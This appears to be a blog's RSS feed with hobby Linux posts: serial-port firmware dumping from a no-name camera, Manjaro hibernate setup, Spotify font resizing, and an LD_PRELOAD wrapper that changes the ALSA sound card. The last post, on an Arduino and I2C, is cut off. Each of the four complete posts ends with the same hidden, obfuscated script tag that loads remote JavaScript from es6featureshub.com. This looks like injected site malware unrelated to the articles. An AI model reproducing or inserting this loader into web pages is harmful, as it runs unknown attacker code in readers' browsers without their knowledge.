<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; linux</title>
	<atom:link href="http://www.larsen-b.com/tags/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Backup Linux embedded system firmware (Heden, Foscam, WRT..)</title>
		<link>http://www.larsen-b.com/Article/464.html</link>
		<comments>http://www.larsen-b.com/Article/464.html#comments</comments>
		<pubDate>Fri, 25 Oct 2013 23:51:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Bootloader]]></category>
		<category><![CDATA[Camera]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=464</guid>
		<description><![CDATA[This post talk about a cheap Heden clone outdoor camera but should work on most Linux embedded systems. Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let&#8217;s open it, find &#8230; <a href="http://www.larsen-b.com/Article/464.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This post talk about a cheap Heden clone outdoor camera but should work on most Linux embedded systems.</p>
<p>Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let&#8217;s open it, find a serial port and look what&#8217;s going on. I used the bus-pirate of course. I discovered that only the bootloader is working, the whole flash seems empty.I searched a long time, and tried severals stuffs, but I was unable to find the right firmware (in the right format) for his no-name camera.</p>
<div class="wp-caption alignnone" style="width: 650px"><img alt="" src="http://jkx.larsen-b.com/photos/blog/nestos_cam.sized.jpg" width="640" height="482" /><p class="wp-caption-text">NetOS opened camera</p></div>
<p>So my friend sent the camera back (warranty), and receive a new one. Now, he ask me to backup the flash memory, to fix the problem if this occurs in a few months again.</p>
<p>The main issue is : The camera has no backup web interface, no MTD dump shell binary (nor ftp, scp..), and it&#8217;s not really easy to compile the mtd tools because the system has no library installed (only a few static binary files). I&#8217;m unable to backup the firmware throught the OS. Let&#8217;s try see the bootloader.</p>
<p>The bootloader has no backup firmware features, but it can dump the memory content (flash included), and it has a builtin &#8220;ls&#8221; like command that display base memory segments. With the simple &#8220;d 0xAAAA&#8221;, you can dump the memory at 0xAAAA address. Fine, I decided to write a little script that walk the memory, dump the content and rebuild the binary file.</p>
<pre><span style="color: #444444;">#!/usr/bin/env python2</span>
<strong>import</strong> <span style="color: #2040a0;">serial</span>,<span style="color: #2040a0;">sys</span>,<span style="color: #2040a0;">string</span>

<span style="color: #2040a0;">log_file</span> <span>=</span> <span style="color: #2040a0;">None</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">ser_open</span><span>(</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">ser</span> <span>=</span> <span style="color: #2040a0;">serial</span>.<span style="color: #2040a0;">Serial</span><span>(</span><span style="color: #008000;">"/dev/ttyUSB0"</span>, <span style="color: #ff0000;">115200</span>, <span style="color: #2040a0;">timeout</span> <span>=</span> <span style="color: #ff0000;">0.1</span><span>)</span>
    <strong>return</strong> <span style="color: #2040a0;">ser</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">log</span><span>(</span><span style="color: #2040a0;">line</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">l</span><span>=</span><span style="color: #2040a0;">string</span>.<span style="color: #2040a0;">split</span><span>(</span><span style="color: #2040a0;">line</span>,<span style="color: #008000;">' '</span><span>)</span>
    <span style="color: #2040a0;">data</span><span>=</span><span style="color: #008000;">'%s%s%s%s'</span> <span>%</span> <span>(</span><span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">1</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">2</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">4</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">5</span><span>]</span><span>)</span>
    <strong>for</strong> <span style="color: #2040a0;">i</span> <strong>in</strong> <span style="color: #2040a0;">range</span><span>(</span><span style="color: #ff0000;">0</span>,<span style="color: #ff0000;">32</span>,<span style="color: #ff0000;">2</span><span>)</span><span>:</span>
        <span style="color: #2040a0;">octet</span> <span>=</span> <span style="color: #2040a0;">int</span><span>(</span><span style="color: #2040a0;">data</span><span>[</span><span style="color: #2040a0;">i</span><span>:</span><span style="color: #2040a0;">i</span><span>+</span><span style="color: #ff0000;">2</span><span>]</span>,<span style="color: #ff0000;">16</span><span>)</span>
        <span style="color: #2040a0;">log_file</span>.<span style="color: #2040a0;">write</span><span>(</span><span style="color: #008000;">'%s'</span> <span>%</span> <span style="color: #2040a0;">chr</span><span>(</span><span style="color: #2040a0;">octet</span><span>)</span><span>)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">dump</span><span>(</span><span style="color: #2040a0;">ser</span>,<span style="color: #2040a0;">addr</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">s</span> <span>=</span> <span style="color: #008000;">"d -s 0x%x<span style="color: #77dd77;">\n</span>"</span> <span>%</span> <span style="color: #2040a0;">addr</span>
    <span style="color: #2040a0;">ser</span>.<span style="color: #2040a0;">write</span><span>(</span><span style="color: #2040a0;">s</span><span>)</span>

    <span style="color: #2040a0;">l</span><span>=</span><span>[</span><span>]</span>
    <span style="color: #2040a0;">i</span> <span>=</span> <span style="color: #ff0000;">0</span>
    <strong>while</strong> <span style="color: #ff0000;">1</span><span>:</span>
        <span style="color: #2040a0;">data</span> <span>=</span> <span style="color: #2040a0;">ser</span>.<span style="color: #2040a0;">read</span><span>(</span><span>)</span>
        <strong>if</strong> <strong>not</strong> <span style="color: #2040a0;">data</span><span>:</span><strong>break</strong>
        <span style="color: #2040a0;">l</span>.<span style="color: #2040a0;">append</span><span>(</span><span style="color: #2040a0;">data</span><span>)</span>
        <strong>if</strong> <span>(</span><span style="color: #2040a0;">data</span><span>=</span><span>=</span><span style="color: #008000;">'\r'</span><span>)</span><span>:</span>
            <span style="color: #2040a0;">s</span> <span>=</span> <span style="color: #2040a0;">string</span>.<span style="color: #2040a0;">join</span><span>(</span><span style="color: #2040a0;">l</span>,<span style="color: #008000;">''</span><span>)</span>
            <strong>if</strong> <span>(</span><span style="color: #2040a0;">s</span><span>[</span><span style="color: #ff0000;">0</span><span>]</span> <span>=</span><span>=</span> <span style="color: #008000;">'['</span><span>)</span><span>:</span>
                <span style="color: #2040a0;">log</span><span>(</span><span style="color: #2040a0;">s</span><span>)</span>
            <span style="color: #2040a0;">l</span><span>=</span><span>[</span><span>]</span>

<span style="color: #2040a0;">d</span> <span>=</span> <span style="color: #2040a0;">ser_open</span><span>(</span><span>)</span>
<span style="color: #2040a0;">log_file</span> <span>=</span> <span style="color: #2040a0;">open</span><span>(</span><span style="color: #008000;">'log.raw'</span>,<span style="color: #008000;">'a'</span><span>)</span>

<span style="color: #2040a0;">img_start</span> <span>=</span> <span style="color: #ff0000;">0x7F0E0000</span>
<span style="color: #2040a0;">img_size</span> <span>=</span> <span style="color: #ff0000;">0xC3C00</span>

<strong>for</strong> <span style="color: #2040a0;">i</span> <strong>in</strong> <span style="color: #2040a0;">range</span><span>(</span><span style="color: #2040a0;">img_start</span>,<span style="color: #2040a0;">img_start</span><span>+</span><span style="color: #2040a0;">img_size</span><span>+</span><span style="color: #ff0000;">0x100</span>,<span style="color: #ff0000;">0x100</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">dump</span><span>(</span><span style="color: #2040a0;">d</span>,<span style="color: #2040a0;">i</span><span>)</span>
    <strong>print</strong> <span style="color: #008000;">"0x%x"</span><span>%</span> <span style="color: #2040a0;">i</span></pre>
<p>As you can see, this code isn&#8217;t really clean and well written, but it give me a nice binary file for a given offset and size. Simply dump the memory through serial port, do a little parsing, and store the result in binary file named log.raw.</p>
<p>I used this to backup the camera linux.bin file, and the romfs.img. Of course you can use this to dump the whole memory too. To check if the files are Ok, you can try to g-unzip the Linux Kernel, and mount the romfs.</p>
<p>To check the romfs, I simply mount it with : <em>mount -t roomfs -o loop log.raw ./log </em></p>
<p>So now, I have a backup for this no-name camera, and next time the whole memory will drop, I will try to restore it ;).</p>
<p>This method seems really crude (and dirty), but it work without too much trouble, and can be tweaked for a lot of systems. It should work on every Linux embedded system with an dump memory feature in the bootloader (quite every one).</p>
<p><strong>Enjoy memory ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto enable hibernate on a Linux Manjaro</title>
		<link>http://www.larsen-b.com/Article/460.html</link>
		<comments>http://www.larsen-b.com/Article/460.html#comments</comments>
		<pubDate>Sun, 16 Jun 2013 11:54:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Manjaro]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=460</guid>
		<description><![CDATA[I run into some issues with my current Debian systems. In fact, I use Debian on a lot of computers, but most of the time the sessions are consistent, some have nautilus working some don&#8217;t .. same for automount, grub-updater, &#8230; <a href="http://www.larsen-b.com/Article/460.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I run into some issues with my current Debian systems. In fact, I use <a href="http://debian.org">Debian</a> on a lot of computers, but most of the time the sessions are consistent, some have nautilus working some don&#8217;t .. same for automount, grub-updater, and so on.</p>
<p>I decided to switch my desktop computer to another distro. After about 5 years with the same Debian Sid install, I switched to <a href="http://manjaro.org">Manjaro</a>. Manjaro use the same base system as Arch Linux but seems to be more user friendly.</p>
<p>Anyway, the hibernate don&#8217;t work out-of-the-box. When you restart the computer, it doesn&#8217;t restore the hibernate image from the swap. You can fix that quickly. Edit <em>/etc/mkinitcpio.conf</em> file and add &#8220;<strong>resume</strong>&#8221; to the HOOK flag like this.</p>
<pre><code>HOOKS="base udev autodetect modconf block resume filesystems keyboard fsck"</code></pre>
<p>After that, you must rebuild the initcpio file :</p>
<pre> <code>sudo mkinitcpio -p linux39</code></pre>
<p>That&#8217;s enough, you can now test with a simple pm-hibernate.</p>
<p><strong>/Enjoy Linux again.</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/460.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Howto : Change Spotify font size (for 42&#8243; TV display)</title>
		<link>http://www.larsen-b.com/Article/446.html</link>
		<comments>http://www.larsen-b.com/Article/446.html#comments</comments>
		<pubDate>Wed, 16 Jan 2013 13:48:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hifi]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spotify]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=446</guid>
		<description><![CDATA[I use Spotify for my every day listening, and I decided to use it on a big screen : My 42&#8243; LCD TV. Simply launch Spotify in a one-line .xinitrc script. It fit perfectly in full screen mode without any tweak. But &#8230; <a href="http://www.larsen-b.com/Article/446.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I use <a title="spotify.com" href="http://www.spotify.com">Spotify</a> for my every day listening, and I decided to use it on a big screen : My 42&#8243; LCD TV. Simply launch Spotify in a one-line .xinitrc script. It fit perfectly in full screen mode without any tweak. But of course nothing is perfect,  we have to live with a very small font on a such big screen. Spotify use a skin for the client app, so changing QT4 fonts doesn&#8217;t change anything, we have to fix the skin directly.</p>
<p>So, first step : search the file <em>resources.zip</em> (in <em>/opt/spotify/spotify-client/Data/</em> on Debian). Extract the file <strong>skin.xml</strong>. In this file, search for line like this.</p>
<pre>&lt;font ci="FriendsListFont" color="#dddddd" shadow="#333333" size="11" /&gt;</pre>
<p>So change all font sizes, save the file, re-pack the ressources file .. and Voila. You can fix this manually (or with a special XML editor), but the file contain 245 font definitions. I decided to fix with a <a href="http://www.python.org">Python</a> script.</p>
<pre>
<strong>import</strong> <font color="#2040a0">xml</font>.<font color="#2040a0">etree</font>.<font color="#2040a0">ElementTree</font> <font color="#2040a0">as</font> <font color="#2040a0">xml</font>

<font color="#2040a0">tree</font> <font color="4444FF">=</font> <font color="#2040a0">xml</font>.<font color="#2040a0">parse</font><font color="4444FF">(</font><font color="#008000">&quot;./skin.xml&quot;</font><font color="4444FF">)</font>
<font color="#2040a0">root</font> <font color="4444FF">=</font> <font color="#2040a0">tree</font>.<font color="#2040a0">getroot</font><font color="4444FF">(</font><font color="4444FF">)</font>

<strong>for</strong> <font color="#2040a0">f</font> <strong>in</strong> <font color="#2040a0">root</font>.<font color="#2040a0">findall</font><font color="4444FF">(</font><font color="#008000">'font'</font><font color="4444FF">)</font><font color="4444FF">:</font>
	<font color="#2040a0">taille</font> <font color="4444FF">=</font> <font color="#2040a0">f</font>.<font color="#2040a0">get</font><font color="4444FF">(</font><font color="#008000">'size'</font><font color="4444FF">)</font>
	<strong>if</strong> <font color="#2040a0">taille</font><font color="4444FF">:</font>
		<font color="#2040a0">taille</font> <font color="4444FF">=</font> <font color="#2040a0">int</font><font color="4444FF">(</font><font color="#2040a0">taille</font><font color="4444FF">)</font> <font color="4444FF">+</font> <font color="#FF0000">4</font>
		<font color="#2040a0">f</font>.<font color="#2040a0">set</font><font color="4444FF">(</font><font color="#008000">'size'</font>,<font color="#2040a0">str</font><font color="4444FF">(</font><font color="#2040a0">taille</font><font color="4444FF">)</font><font color="4444FF">)</font>


<font color="#2040a0">file</font> <font color="4444FF">=</font> <font color="#2040a0">open</font><font color="4444FF">(</font><font color="#008000">&quot;new_skin.xml&quot;</font>, <font color="#008000">'w'</font><font color="4444FF">)</font>

<font color="#2040a0">xml</font>.<font color="#2040a0">ElementTree</font><font color="4444FF">(</font><font color="#2040a0">root</font><font color="4444FF">)</font>.<font color="#2040a0">write</font><font color="4444FF">(</font><font color="#2040a0">file</font><font color="4444FF">)</font>

</pre>
<p>Let&#8217;s try this new skin :  <a style="font-style: normal; line-height: 24px; text-decoration: underline;" href="http://jkx.larsen-b.com/gallery/blog/big_spotify?full=1"><img class="alignnone" alt="" src="http://jkx.larsen-b.com/photos/blog/big_spotify.sized.jpg" width="640" height="433" /></a></p>
<p>This should be a easier for the big screen :)</p>
<p><strong>/Enjoy music</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/446.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Change the default sound card in Spotify : Alsa + Monkey Patching</title>
		<link>http://www.larsen-b.com/Article/425.html</link>
		<comments>http://www.larsen-b.com/Article/425.html#comments</comments>
		<pubDate>Sat, 08 Dec 2012 13:12:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[spotify]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=425</guid>
		<description><![CDATA[I&#8217;m a long time Spotify user right now. I decided to opt for a unlimited account due to the price. The main issue : Spotify for Linux is a closed source software, doesn&#8217;t allow the user to change the sound &#8230; <a href="http://www.larsen-b.com/Article/425.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m a long time <a href="http://www.spotify.com">Spotify</a> user right now. I decided to opt for a unlimited account due to the price. The main issue : Spotify for Linux is a closed source software, doesn&#8217;t allow the user to change the sound card and I want to use my <a href="http://www.larsen-b.com/Article/414.html">almost finished USB DAC</a>.</p>
<p>In fact, if you use <a href="http://jackaudio.org/">Jackd</a> (and perhaps Pulse) you can change the sound card used by Spotify, but this is overkill for my needs (mainly cause, I use Spotify on a litte old netbook and Jackd is a nightmare to configure)</p>
<p>After some strace dump, Alsa (libasound2) source reading, I decided to fix it by myself. Let&#8217;s go for some <a href="http://en.wikipedia.org/wiki/Monkey_patch">Monkey Patching</a>. Monkey patching on closed source binary isn&#8217;t that easy, the hard step : find the right function to hack. Here the<a href="http://equalarea.com/paul/alsa-audio.html"> Alsa tutorial</a> come to rescue (ldd of course too). So we need to modify the <em>snd_pcm_open</em> call.</p>
<p>Let&#8217;s give it a try : First we need to dynamically re-route this call to a wrapper. The easier way to do this, is to build a special library and to force Spotify to use the wrapper with an <a href="http://en.wikipedia.org/wiki/Dynamic_linker">LD_PRELOAD</a> hack. (see code below). In fact, Spotify call the <em>snd_pcm_open</em> with <em>name=&#8221;default&#8221;</em> which is the default sound card, so we can change this to &#8220;usb&#8221; for example, and fix the .asoundrc to point &#8220;usb&#8221; sound card to the right hardware card.</p>
<p>That&#8217;s enough, let&#8217;s code :</p>
<pre>
<font color="0000ff"><strong>#define _GNU_SOURCE</strong></font>

<font color="0000ff"><strong>#include <font color="#008000">&lt;dlfcn.h&gt;</font></strong></font>
<font color="0000ff"><strong>#include <font color="#008000">&lt;stdio.h&gt;</font></strong></font>
<font color="0000ff"><strong>#include <font color="#008000">&lt;alsa/asoundlib.h&gt;</font></strong></font>

<strong>static</strong> <strong>int</strong> <font color="4444FF">(</font><font color="4444FF">*</font><font color="#2040a0">wrap_snd_pcm_open</font><font color="4444FF">)</font><font color="4444FF">(</font><font color="#2040a0">snd_pcm_t</font> <font color="4444FF">*</font><font color="4444FF">*</font><font color="#2040a0">pcm</font>, <strong>const</strong> <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font>, <font color="#2040a0">snd_pcm_stream_t</font> <font color="#2040a0">stream</font>, <strong>int</strong> <font color="#2040a0">mode</font><font color="4444FF">)</font> <font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">;</font>

<strong>void</strong> <font color="4444FF">*</font> <font color="#2040a0">wrap</font><font color="4444FF">(</font><strong>void</strong> <font color="4444FF">*</font> <font color="#2040a0">func</font>,<strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font><font color="4444FF">)</font>
<font color="4444FF"><strong>{</strong></font>
    <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">msg</font><font color="4444FF">;</font>
    <strong>if</strong> <font color="4444FF">(</font><font color="#2040a0">func</font> <font color="4444FF">=</font><font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">)</font> <font color="4444FF"><strong>{</strong></font>
        <font color="#2040a0">func</font> <font color="4444FF">=</font> <font color="#2040a0">dlsym</font><font color="4444FF">(</font><font color="#2040a0">RTLD_NEXT</font>, <font color="#2040a0">name</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** wrapping %s =&gt;  %p<font color="#77dd77">\n</font>&quot;</font>, <font color="#2040a0">name</font>,<font color="#2040a0">func</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <strong>if</strong> <font color="4444FF">(</font><font color="4444FF">(</font><font color="#2040a0">msg</font> <font color="4444FF">=</font> <font color="#2040a0">dlerror</font><font color="4444FF">(</font><font color="4444FF">)</font><font color="4444FF">)</font> <font color="4444FF">!</font><font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">)</font> <font color="4444FF"><strong>{</strong></font>
            <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** %s: dlopen failed : %s<font color="#77dd77">\n</font>&quot;</font>, <font color="#2040a0">name</font>,<font color="#2040a0">msg</font><font color="4444FF">)</font><font color="4444FF">;</font>
            <font color="#2040a0">exit</font><font color="4444FF">(</font><font color="#FF0000">1</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="4444FF"><strong>}</strong></font> <strong>else</strong> <font color="4444FF"><strong>{</strong></font>
            <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** %s: wrapping done<font color="#77dd77">\n</font>&quot;</font>,<font color="#2040a0">name</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="4444FF"><strong>}</strong></font>
    <font color="4444FF"><strong>}</strong></font>
    <strong>return</strong> <font color="#2040a0">func</font><font color="4444FF">;</font>
<font color="4444FF"><strong>}</strong></font>

<strong>int</strong> <font color="#2040a0">snd_pcm_open</font><font color="4444FF">(</font><font color="#2040a0">snd_pcm_t</font> <font color="4444FF">*</font><font color="4444FF">*</font><font color="#2040a0">pcm</font>, <strong>const</strong> <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font>, <font color="#2040a0">snd_pcm_stream_t</font> <font color="#2040a0">stream</font>, <strong>int</strong> <font color="#2040a0">mode</font><font color="4444FF">)</font>
<font color="4444FF"><strong>{</strong></font>
    <strong>int</strong> <font color="#2040a0">temp</font><font color="4444FF">;</font>

    <font color="#2040a0">sprintf</font><font color="4444FF">(</font><font color="#2040a0">name</font>,<font color="#008000">&quot;usb&quot;</font><font color="4444FF">)</font><font color="4444FF">;</font>

    <font color="#2040a0">wrap_snd_pcm_open</font> <font color="4444FF">=</font> <font color="#2040a0">wrap</font><font color="4444FF">(</font><font color="#2040a0">wrap_snd_pcm_open</font>,<font color="#008000">&quot;snd_pcm_open&quot;</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">temp</font> <font color="4444FF">=</font> <font color="#2040a0">wrap_snd_pcm_open</font><font color="4444FF">(</font><font color="#2040a0">pcm</font>,<font color="#2040a0">name</font>,<font color="#2040a0">stream</font>,<font color="#2040a0">mode</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** Calling snd_pcm_open for path:[%s] =&gt; fd:[%d]<font color="#77dd77">\n</font>&quot;</font>,<font color="#2040a0">name</font>,<font color="#2040a0">temp</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">fflush</font><font color="4444FF">(</font><font color="#2040a0">stderr</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <strong>return</strong> <font color="#2040a0">temp</font><font color="4444FF">;</font>

<font color="4444FF"><strong>}</strong></font>
</pre>
<p>As you can see in the code, I use a generic wrapper function because during my code session, I used this function to re-route some other functions. To build the library :</p>
<pre>gcc -g -fPIC -shared -Wl,-soname,preload.so -ldl -o preload.so  main.c</pre>
<p>Load the lib, with export LD_PRELOAD=./preload.so before running Spotify. Spotify (and all other software using Alsa) will use &#8220;usb&#8221; as default sound card.</p>
<p>Note: C reader will note that name is a const char pointer, and so we can&#8217;t change it, but even if gcc raise a big warning, the code do trick fine.</p>
<p><strong>Enjoy good quality sound even w/ closed source </strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/425.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Connect NGW100 Linux (AVR32) to Arduino with I2C</title>
		<link>http://www.larsen-b.com/Article/398.html</link>
		<comments>http://www.larsen-b.com/Article/398.html#comments</comments>
		<pubDate>Sun, 08 Jan 2012 01:39:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[I2C]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=398</guid>
		<description><![CDATA[For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a NGW100 board. I decided to try to use the I2C bus. I have several I2C &#8230; <a href="http://www.larsen-b.com/Article/398.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a <a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=4102">NGW100</a> board. I decided to try to use the <a href="http://en.wikipedia.org/wiki/I%C2%B2C">I2C</a> bus. I have several I2C stuff on the desk, but nothing really fun and I don&#8217;t want to solder a lot of stuff, and spend a lot of time on this. I decided to use a Arduino board as a I2C slave device and plug this to the NGW100 board.</p>
<p><strong>First step: S</strong>imply use the Arduino IDE and the <a href="http://arduino.cc/en/Reference/Wire">Wire lib</a>. I use an <a href="http://www.seeedstudio.com/blog/tag/seeeduino/">Seeeduino</a> because I need an Arduino that works at 3.3v level. Here the code :</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;Wire.h&gt;</span></strong></span>
<strong>void</strong> <span style="color: #2040a0;">setup</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">4</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>                <span style="color: #444444;">// join i2c bus with address #4</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onReceive</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onRequest</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">38400</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>           <span style="color: #444444;">// start serial for output</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Boot Ok"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">loop</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{ </strong></span><span style="color: #2040a0;">delay</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">100</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span><span style="color: #4444ff;"> </span><span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">(</span><strong>int</strong> <span style="color: #2040a0;">howMany</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <strong>char</strong> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">NULL</span><span style="color: #4444ff;">;</span>
  <strong>while</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">available</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #444444;">// loop through all</span>
  <span style="color: #4444ff;"><strong>{</strong></span>
    <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">receive</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// receive byte as a character</span>
    <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">print</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>         <span style="color: #444444;">// print the character</span>
  <span style="color: #4444ff;"><strong>}</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
